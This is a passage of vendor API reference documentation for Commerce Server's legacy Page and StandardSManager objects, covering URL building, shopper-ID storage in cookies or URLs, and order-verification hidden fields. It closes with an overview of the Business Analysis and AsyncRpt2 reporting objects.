http%3A%2F%2Fwww%2Emicrosoft%2Ecom">My link</A>
' The receiving page (Sample.asp) can use the Request method to
' get the value of the variable. The method converts the string
' back to its original form and returns it to the script on the page.

See Also

[C++] Page Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::HTMLEncode

[Visual Basic] Page Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.HTMLEncode


IMSCSPage_3_0::URLPrefix Method [C++]

Page.URLPrefix Method [Visual Basic]

Use this method to return the root domain as determined by the InsecureHostName value. The returned string can be used as the prefix to a complete URL.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the URLPrefix method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::URLPrefix(
  BSTR* pbstrRet
);
[Visual Basic]
Function URLPrefix() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the root domain.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the root domain string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

To generate the domain for the secure host, use the Page.SURLPrefix method.

See Also

[C++] Page Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::SURLPrefix

[C++] IMSCSPage_3_0::VirtualDirectory

[C++] IMSCSPage_3_0::SURL

[C++] IMSCSPage_3_0::SURLPrefix

[C++] IMSCSPage_3_0::URL

[C++] IMSCSPage_3_0::URLShopperArgs

[C++] IMSCSPage_3_0::URLArgs

[Visual Basic] Page Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.SURLPrefix

[Visual Basic] Page.VirtualDirectory

[Visual Basic] Page.SURL

[Visual Basic] Page.SURLPrefix

[Visual Basic] Page.URL

[Visual Basic] Page.URLShopperArgs

[Visual Basic] Page.URLArgs


IMSCSPage_3_0::URLShopperArgs Method [C++]

Page.URLShopperArgs Method [Visual Basic]

Use this method to generate a series of query string arguments in an appropriate form for passing in a URL, and include in the arguments the shopper ID if the StandardSManager has been initialized to URL mode. The URLShopperArgs method URL-encodes the values passed in.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the URLShopperArgs method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::URLShopperArgs(
  BSTR* pbstrRet
);
[Visual Basic]
Function URLShopperArgs() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the series of query string arguments.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the series of query string arguments.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

The URLShopperArgs method appends the current customer's shopper ID to the URL argument list. The name of the argument passed in the URL is stored in the Application object's MSCSSIDUrlKey variable.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] AuthManager Object

[Visual Basic] Page Object

[Visual Basic] AuthManager Object


IMSCSPage_3_0::VerifyWith Method [C++]

Page.VerifyWith Method [Visual Basic]

Use this method to output HTML tags in the form <INPUT TYPE="HIDDEN"> in an HTML form. These hidden fields contain specified values from the OrderForm object to be used to verify that an order has not been altered between presentation of the OrderForm and final purchase. When the order form is submitted, the ProcessVerifyWith method on the target page stores these fields in a Dictionary object in the OrderForm, which is then passed to the Order Processing pipeline (OPP). One of the objects in the pipeline compares the original values with the values from the hidden fields.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::VerifyWith(
  IDispatch* pdispOrder,
  BSTR* pbstrArguments
  BSTR* pbstrRet
);
[Visual Basic]
Function VerifyWith(
  pdispOrder As Object
  pbstrArguments As String
) As String

Parameters

pdispOrder [C++]
[in] A pointer to the IDispatch interface that can be used to retrieve the OrderForm object that contains the fields to verify.
pbstrArguments [C++]
[in] A pointer to a BSTR that contains a comma-separated list of field names in the supplied OrderForm object to verify. This parameter is optional.
pdispOrder [Visual Basic]
An object reference to the OrderForm object that contains the fields to verify.
pbstrArguments [Visual Basic]
A String that contains a comma-separated list of field names in the supplied OrderForm object to verify. This parameter is optional.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the HTML tags.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the HTML tags.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' The following example generates hidden fields containing
' the values stored in the _total_total,and _tax_total fields
'  of the supplied OrderForm object:
<FORM METHOD="POST"
    ACTION="<% = oPage.SURL("xt_orderform_purchase.asp") %>">
    <% = mscsPage.VerifyWith(mscsOrderForm, "_total_total",
 "_tax_total") %>
' When the page containing this call is loaded in the client
' browser, the  document source for the page would contain the
'  following HTML script '(assuming a total of 138.95 and a tax
'  of 8.75):
<FORM METHOD="POST"
ACTION="http://example.microsoft.com/xt_orderform_purchase.asp">
<INPUT TYPE=HIDDEN NAME="_VERIFY_WITH" VALUE="_total_total=13895">
<INPUT TYPE=HIDDEN NAME="_VERIFY_WITH" VALUE="_tax_total=875">

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::ProcessVerifyWith

[C++] OrderForm Object

[Visual Basic] Page Object

[Visual Basic] Page.ProcessVerifyWith

[Visual Basic] OrderForm Object


IMSCSPage_3_0::VirtualDirectory Method [C++]

Page.VirtualDirectory Method [Visual Basic]

Use this method to return the name of the virtual directory for the site.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::VirtualDirectory(
  BSTR* pbstrRet
);
[Visual Basic]
Function VirtualDirectory() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the site virtual directory.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the site virtual directory.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::SiteRoot

[C++] IMSCSPage_3_0::SURL

[C++] IMSCSPage_3_0::URL

[C++] IMSCSPage_3_0::SURLPrefix

[C++] IMSCSPage_3_0::URLArgs

[C++] IMSCSPage_3_0::URLPrefix

[C++] IMSCSPage_3_0::URLShopperArgs

[C++] StandardSManager Object

[Visual Basic] Page Object

[Visual Basic] Page.SiteRoot

[Visual Basic] Page.SURL

[Visual Basic] Page.URL

[Visual Basic] Page.SURLPrefix

[Visual Basic] Page.URLArgs

[Visual Basic] Page.URLPrefix

[Visual Basic] Page.URLShopperArgs

[Visual Basic] StandardSManager Object


IMSCSPage_3_0 Properties [C++]

Page Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Context | IDispatch | A value that contains the Microsoft Internet Information Services (IIS) scripting context. This property is read-only.
[Visual Basic]
Property | Type | Description
Context | IDispatch | A value that contains the Microsoft Internet Information Services (IIS) scripting context. This property is read-only.


IMSCSPage_3_0::get_Context Property [C++]

Page.Context Property [Visual Basic]

The Context property is a read-only property that contains the ASP scripting context.

Normally, the contents of the Context property do not need to be retrieved. The Context property is used only as a parameter to other Commerce Server methods that need access to the ASP scripting context.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::get_Context(
  IDispatch** Context
);
[Visual Basic]
Property Context As Object

Parameters

Context [C++]
[out, retval] An IDispatch interface used to return the ASP scripting context.

[Visual Basic] None.

[C++]

Return Values

This property returns an HRESULT indicating whether completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The Context parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[Visual Basic] Page Object


StandardSManager Object [C++]

StandardSManager Object [Visual Basic]

Use this object to facilitate the run time creation and retrieval of shopper IDs.

ProgID: | Commerce.StandardSManager (Externally creatable)
COM Class Name: | MSCSStandardSManager_3_0
Type Library Name: | Commerce 1.0 Type Library
DLL Name: | Commerce.dll
Threading Model: | Both
[C++]
COM Interface Name: | IMSCSStandardSManager_3_0
Interface ID Constant: | IID_IMSCSStandardSManager_3_0
Header File: | mspu_guids.h
[C++]

In C++, use the IMSCSStandardSManager_3_0 interface to access the properties and methods of the StandardSManager object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
CreateShopperId | Creates a unique shopper ID for the current user.
GetShopperId | Returns the unique shopper ID for the current user.
InitManager | Initializes the StandardSManager object.
PutShopperId | Writes the specified shopper ID to a cookie and/or stores it for use in a URL or SURL, depending on the initialization mode of the StandardSManager object for the site.
[Visual Basic]
Method | Description
CreateShopperId | Creates a unique shopper ID for the current user.
GetShopperId | Returns the unique shopper ID for the current user.
InitManager | Initializes the StandardSManager object.
PutShopperId | Writes the specified shopper ID to a cookie and/or stores it for use in a URL or SURL, depending on the initialization mode of the StandardSManager for the site.

Properties

[C++]
Property | Type | Description
Mode | Integer | Determines how the GetShopperID and PutShopperID methods of the Page object retrieve and store shopper IDs.
[Visual Basic]
Property | Type | Description
Mode | Integer | Determines how the GetShopperID and PutShopperID methods of the Page object retrieve and store shopper IDs.

Remarks

This object is only included for purposes of backward compatibility with Site Server 3.0 Commerce Edition; it has been replaced by the AuthManager object.

See Also

Backward Compatibility Objects

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSStandardSManager_3_0 Methods [C++]

StandardSManager Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateShopperId | Creates a unique shopper ID for the current user.
GetShopperId | Returns the unique shopper ID for the current user.
InitManager | Initializes the StandardSManager object.
PutShopperId | Writes the specified shopper ID to a cookie and/or stores it for use in a URL or SURL, depending on the initialization mode of the StandardSManager object for the site.
[Visual Basic]
Method | Description
CreateShopperId | Creates a unique shopper ID for the current user.
GetShopperId | Returns the unique shopper ID for the current user.
InitManager | Initializes the StandardSManager object.
PutShopperId | Writes the specified shopper ID to a cookie and/or stores it for use in a URL or SURL, depending on the initialization mode of the StandardSManager for the site.


IMSCSStandardSManager_3_0::CreateShopperId Method [C++]

StandardSManager.CreateShopperId Method [Visual Basic]

Use this method to create a unique shopper ID for the current user.

Definition

[C++]
HRESULT IMSCSStandardSManager_3_0::CreateShopperId(
 BSTR* pbstrRet
);
[Visual Basic]
Function CreateShopperId() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the new shopper ID.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String containing the new shopper ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] StandardSManager Object

[C++] IMSCSStandardSManager_3_0::InitManager

[C++] IMSCSStandardSManager_3_0::GetShopperId

[C++] IMSCSStandardSManager_3_0::PutShopperId

[Visual Basic] StandardSManager Object

[Visual Basic] StandardSManager.InitManager

[Visual Basic] StandardSManager.GetShopperId

[Visual Basic] StandardSManager.PutShopperId


IMSCSStandardSManager_3_0::GetShopperId Method [C++]

StandardSManager.GetShopperId Method [Visual Basic]

Use this method to retrieve the shopper ID for the current user. The shopper ID is returned from a URL query string or a cookie, depending on the initialization mode of the StandardSManager object for the site.

Definition

[C++]
HRESULT IMSCSStandardSManager_3_0::GetShopperId(
 IDispatch* pdispContext,
 VARIANT* pvtRet
);
[Visual Basic]
Function GetShopperId(
 pdispContext As Object
) As Variant

Parameters

pdispContext [C++]
[in] A pointer to the IDispatch interface that contains the ASP scripting context.
pdispContext [Visual Basic]
An object reference that holds the ASP scripting context.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the shopper ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that specifies the shopper ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completes successfully.

If no shopper ID is found, the GetShopperID method returns an empty string.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] StandardSManager Object

[C++] IMSCSStandardSManager_3_0::get_Mode, put_Mode

[C++] IMSCSStandardSManager_3_0::PutShopperId

[Visual Basic] StandardSManager Object

[Visual Basic] StandardSManager.Mode

[Visual Basic] StandardSManager.PutShopperId


IMSCSStandardSManager_3_0::InitManager Method [C++]

StandardSManager.InitManager Method [Visual Basic]

Use this method to initialize the StandardSManager object to the specified site name and mode.

Definition

[C++]
HRESULT IMSCSStandardSManager_3_0::InitManager(
 BSTR bstrStoreKey,
 BSTR bstrMode
);
[Visual Basic]
Sub InitManager(
 bstrStoreKey As String,
 bstrMode As String
)

Parameters

bstrStoreKey [C++]
[in] A BSTR that contains the name of the site.
bstrStoreKey [Visual Basic]
A String that contains the name of the site.
bstrMode [C++]
[in] A BSTR that indicates how user information is to be stored. For more information about initialization modes, see the Remarks section.
bstrMode [Visual Basic]
A String that indicates how user information is to be stored. For more information about initialization modes, see the Remarks section.

Return Values

[C++]This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The bstrMode parameter can take the following values:

Mode | Behavior
Cookie | The PutShopperID method stores the shopper ID in a cookie on the client system. The GetShopperID method retrieves this cookie.
url | The PutShopperID method appends the shopper ID to the URL, using MCSSIDUrlKey as the name part of the URL variable. The GetShopperID method retrieves the shopper ID from the URL.
Cookieurl | The PutShopperID method stores the shopper ID in a cookie on the client system and in the URL. The GetShopperID method first attempts to retrieve the shopper ID from the cookie, and then from the URL.
Urlcookie | The PutShopperID method stores the shopper ID in a URL, and stores it as a cookie on the client system. The GetShopperID method first attempts to retrieve the shopper ID from the URL, then from the cookie.

This object is only included for purposes of backward compatibility with Site Server 3.0 Commerce Edition.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oStdSManager is a Commerce.StandardSManager object
oStdSManager.InitManager("mySiteName", "Cookie")

See Also

[C++] StandardSManager Object

[C++] IMSCSStandardSManager_3_0::get_Mode, put_Mode

[C++] IMSCSStandardSManager_3_0::PutShopperId

[Visual Basic] StandardSManager Object

[Visual Basic] StandardSManager.Mode

[Visual Basic] StandardSManager.PutShopperId


IMSCSStandardSManager_3_0::PutShopperId Method [C++]

StandardSManager.PutShopperId Method [Visual Basic]

Use this method to store a shopper ID for the current user. After the object has been initialized, the shopper ID will be stored in a cookie or as part of the URL.

Definition

[C++]
HRESULT IMSCSStandardSManager_3_0::PutShopperId(
 IDispatch* pdispContext,
 BSTR bstrShopperID
);
[Visual Basic]
Sub PutShopperId(
 pdispContext As Object,
 bstrShopperID As String
)

Parameters

pdispContext [C++]
[in] A pointer to the IDispatch interface used to retrieve the ASP scripting context.
pdispContext [Visual Basic]
An object reference that holds the ASP scripting context.
bstrShopperID [C++]
[in] A BSTR that contains the shopper ID to be stored.
bstrShopperID [Visual Basic]
A String that contains the shopper ID to be stored.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] StandardSManager Object

[C++] IMSCSStandardSManager_3_0::get_Mode, put_Mode

[C++] IMSCSStandardSManager_3_0::GetShopperId

[Visual Basic] StandardSManager Object

[Visual Basic] StandardSManager.Mode

[Visual Basic] StandardSManager.GetShopperId


IMSCSStandardSManager_3_0 Properties [C++]

StandardSManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Mode | Integer | Determines how the GetShopperID and PutShopperID methods of the Page object retrieve and store shopper IDs.
[Visual Basic]
Property | Type | Description
Mode | Integer | Determines how the GetShopperID and PutShopperID methods of the Page object retrieve and store shopper IDs.


IMSCSStandardSManager_3_0::get_Mode, put_Mode Property [C++]

StandardSManager.Mode Property [Visual Basic]

The Mode property is a read/write Integer that determines how the GetShopperID and PutShopperID methods of the Page object retrieve and store shopper IDs.

Definition

[C++]

Get method:

HRESULT IMSCSStandardSManager_3_0::get_Mode(
 int* Mode
);

Put method:

HRESULT IMSCSStandardSManager_3_0::put_Mode(
 int Mode
);
[Visual Basic]
Property Mode As Integer

Parameters

Mode [C++]
[in] When putting the property, an Integer that contains the mode.
[out, retval] When getting the property, an Integer used to return the mode.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

After creating a StandardSManager object, but before calling the GetShopperID or PutShopperID methods, you must initialize the StandardSManager object. To do this, call the InitManager method of the StandardSManager object, specifying the site name and the initialization mode.

The following table shows the values that the mode property integer can take.

Mode | Behavior
0 | Look only at cookie
1 | Look only at URL
2 | Look at cookie and then URL
3 | Look at URL and then cookie

[C++] The Mode parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] StandardSManager Object

[C++] Page Object

[C++] IMSCSStandardSManager_3_0::InitManager

[Visual Basic] StandardSManager Object

[Visual Basic] Page Object

[Visual Basic] StandardSManager.InitManager


Business Analysis Objects

The Business Analysis Objects are used to build prediction models and create reports based on site data.

The Business Analysis Programming Concepts topic describes the components of the Predictor resource, the objects used to run DTS tasks, and objects used to create reports.

Objects

Visual Basic Reference | C++ Invocation | Description
AsyncRpt2 | AsyncRpt2 | Provides asynchronous rendering and exporting of static reports.
DTSCacheWarmer | DTSCacheWarmer | Pre-executes dynamic OLAP reports stored in the Data Warehouse in order for the query results to be cached on the OLAP server.
DTSCatalogImport | DTSCatalogImport | Imports catalog data into the Data Warehouse.
DTSDeleteImport | DTSDeleteImport | Deletes log file data and summarized data from the Data Warehouse.
DTSIPResolution | DTSIPResolution | Resolves Internet Protocol (IP) addresses from the imported user data.
DTSLogImport | DTSLogImport | Defines and imports Web log files into the Data Warehouse.
DTSMarketingImport | DTSMarketingImport | Imports information about ad and discount campaigns into the Data Warehouse.
DTSPostImport | DTSPostImport | Populates OLAP cubes with the data that was imported, prepares the imported data for report generation, and refreshes the OLAP cubes after a deletion.
DTSPredictor | DTSPredictor | Rebuilds prediction and segment models.
DTSSyncAdminData | DTSSyncAdminData | Synchronizes the Data Warehouse with your Commerce Server application after you make changes to configuration settings.
DTSTransactionImport | DTSTransactionImport | Runs reports to analyze transaction data.
DTSUPMCustomTask | DTSUPMCustomTask | Imports user profile data into the Data Warehouse.
PredictorServiceAdmin | PredictorServiceAdmin | Allows retrieval of prediction models and prediction model configurations.
PredictorServiceSiteAdmin | PredictorServiceSiteAdmin | Allows management of prediction models and prediction model configurations.
PredModelBuilder | PredModelBuilder | Provides properties and methods to control multiple build threads of prediction models.
ReportRenderer2 | ReportRenderer2 | Provides synchronous rendering and exporting of static reports.

Examples

Example | Description
Code to Retrieve the Predictor Database Connection String | Describes how to retrieve the database connection string.
Code to Build a New Model | Describes how to build a new model.
Code to Control a Model Build | Describes how to control a model build.
Code to Retrieve a List of Available Models and Model Configurations | Describes how to enumerate the available models and model configurations.
Code to Rename and Delete a Model and a Model Configuration | Describes how to rename and delete a model and a model configuration.
Code to Load a Model and Set Default Properties | Describes how to load a model and set default properties for the model predictions.
Code to Predict Products | Describes how to expose "cross-sell" opportunities in user behavior with regard to product purchases.
Code to Predict User Attributes | Describes how to determine missing profile attributes about a user.
Code to Classify a User | Describes how to classify a user into a behavior or profile-based group.

See Also

Predictor Schema

PredictorClient Object

PredictorServiceAdmin Object

PredictorServiceSiteAdmin Object

PredModelBuilder Object

Running the Predictor Resource

Creating Custom Reports

Business Analytics Samples


Business Analysis Programming Concepts

This section contains programming concepts pertaining to the predictor resource.

For more information about scripting the DTS Tasks, see Scripting DTS Tasks.

For more information about creating reports through scripts, see Creating Custom Reports.

Predictor Resource Programming Concepts

The Predictor resource provides the ability to build analysis models used for predicting user behavior and unknown user attributes, as well as for classifying users into groups (segments) based upon similar attributes and behavior. Model configurations (contained in a set of database tables) supply information used to build the models. Objects are exposed to control the build process, access the models and model configurations, and perform the predictions.

Prediction and Segment Analysis Models

Two types of models are available. Prediction models are used for predicting user behavior, such as cross-sell patterns, and unknown user attributes. Segment models are used for classifying users into groups (segments) based on attributes and behavior, and for predicting the segment to which a particular user will most likely belong. For more information, see Analysis Models.

Analysis Model Configurations

The model configurations are contained in a set of database tables. These configurations contain information used to build analysis models, such as data sources and properties of the data attributes. For more information, see Predictor Schema.

Prediction Model Viewer

Available through Commerce Server Manager in the Microsoft Management Console (MMC), this browser provides a graphical representation of a prediction model. For more information, see Viewing Analysis Models.

PredictorClient Object

This object provides methods to predict user behavior, unknown user attributes, and the segments of a population to which a user belongs. For more information, see PredictorClient Object.

PredictorServiceAdmin Object

This object provides lists of available models and model configurations. For more information, see PredictorServiceAdmin Object.

PredictorServiceSiteAdmin Object

This object provides methods to rename and delete models and model configurations, and to generate a list of members of a segment. For more information, see PredictorServiceSiteAdmin Object.

PredModelBuilder Object

This object provides methods to control the building of models. For more information, see PredModelBuilder Object.

Segment Viewer

Available through Commerce Server Business Desk, this viewer provides a graphical representation of a segment model. For more information, see Analyzing Population Segments.


AsyncRpt2 Object [C++]

AsyncRpt2 Object [Visual Basic]

Use this object to render (display) or export a static report asynchronously.

ProgID: | Commerce.AsyncReportMgr2 (Externally creatable)
COM Class Name: | AsyncRpt2
Type Library Name: | Microsoft Commerce 2002 Async Report Manager Type Library
DLL Name: | AsyncReport2.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAsyncRpt
Interface ID Constant: | IID_IAsyncRpt
Header File: | AsyncReport.h
[C++]

In C++, use the IAsyncRpt2 interface to access the methods of the AsyncRpt2 object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
RunReport | Runs or exports the report.
[Visual Basic]
Method | Description
RunReport | Runs or exports the report.

Properties

[C++]
Property | Type | Description
BizdeskDocPath | BSTR | Contains the URL for the default ASP page in the directory containing the report help files. This property is write-only.
ReportLocale | Long | Stores the locale in which the report should appear. This property is write-only.
[Visual Basic]
Property | Type | Description
BizdeskDocPath | BSTR | Contains the URL for the default ASP page in the directory containing the report help files. This property is write-only.
ReportLocale | Long | Stores the locale in which the report should appear. This property is write-only.

Remarks

The AsyncRpt2 object renders or exports reports asynchronously.

The ReportRender2 object renders or exports reports synchronously.

[C++] The AsyncRpt2 object calls the ReportRender2 object passing it a string containing the rendering parameters. For more information about the rendering process, see ReportRender2 Object.

[Visual Basic] The AsyncRpt2 object calls the ReportRender2 object passing it a string containing the rendering parameters. For more information about the rendering process, see ReportRender2 Object.

See Also

Analysis/Reporting Schema

Analysis/Reporting XML Structures

Creating Custom Reports

[C++] ListManager Object

[C++] ReportRenderer Object

[Visual Basic] ListManager Object

[Visual Basic] ReportRenderer2 Object

Running Reports


IAsyncRpt2 Methods [C++]

AsyncRpt2 Methods [Visual Basic]

Methods

[C++]
Method | Description
RunReport | Runs or exports the report.
[Visual Basic]
Method | Description
RunReport | Runs or exports the report.


IAsyncRpt2::RunReport Method [C++]

AsyncRpt2.RunReport Method [Visual Basic]

Use this method to initialize the AsyncRpt2 object and to render or export a static report asynchronously.

Definition

[C++]
HRESULT IAsyncRpt::RunReport(
  BSTR bstrRepParam
);
[Visual Basic]
Sub RunReport(
  bstrRepParam As String
)

Parameters

bstrRepParam [C++]
[in, out] A BSTR used to supply parameters to the AsyncRpt2 object.
bstrRepParam [Visual Basic]
A String used to supply parameters to the AsyncRpt2 object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and E_FAIL (0x80004005) to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to E_FAIL (&H80004005) to indicate failure. For more information about standard COM errors, see Standard COM Errors.

Remarks

The AsyncRpt2 object calls the ReportRender2 object, passing it the bstrRepParam parameter.

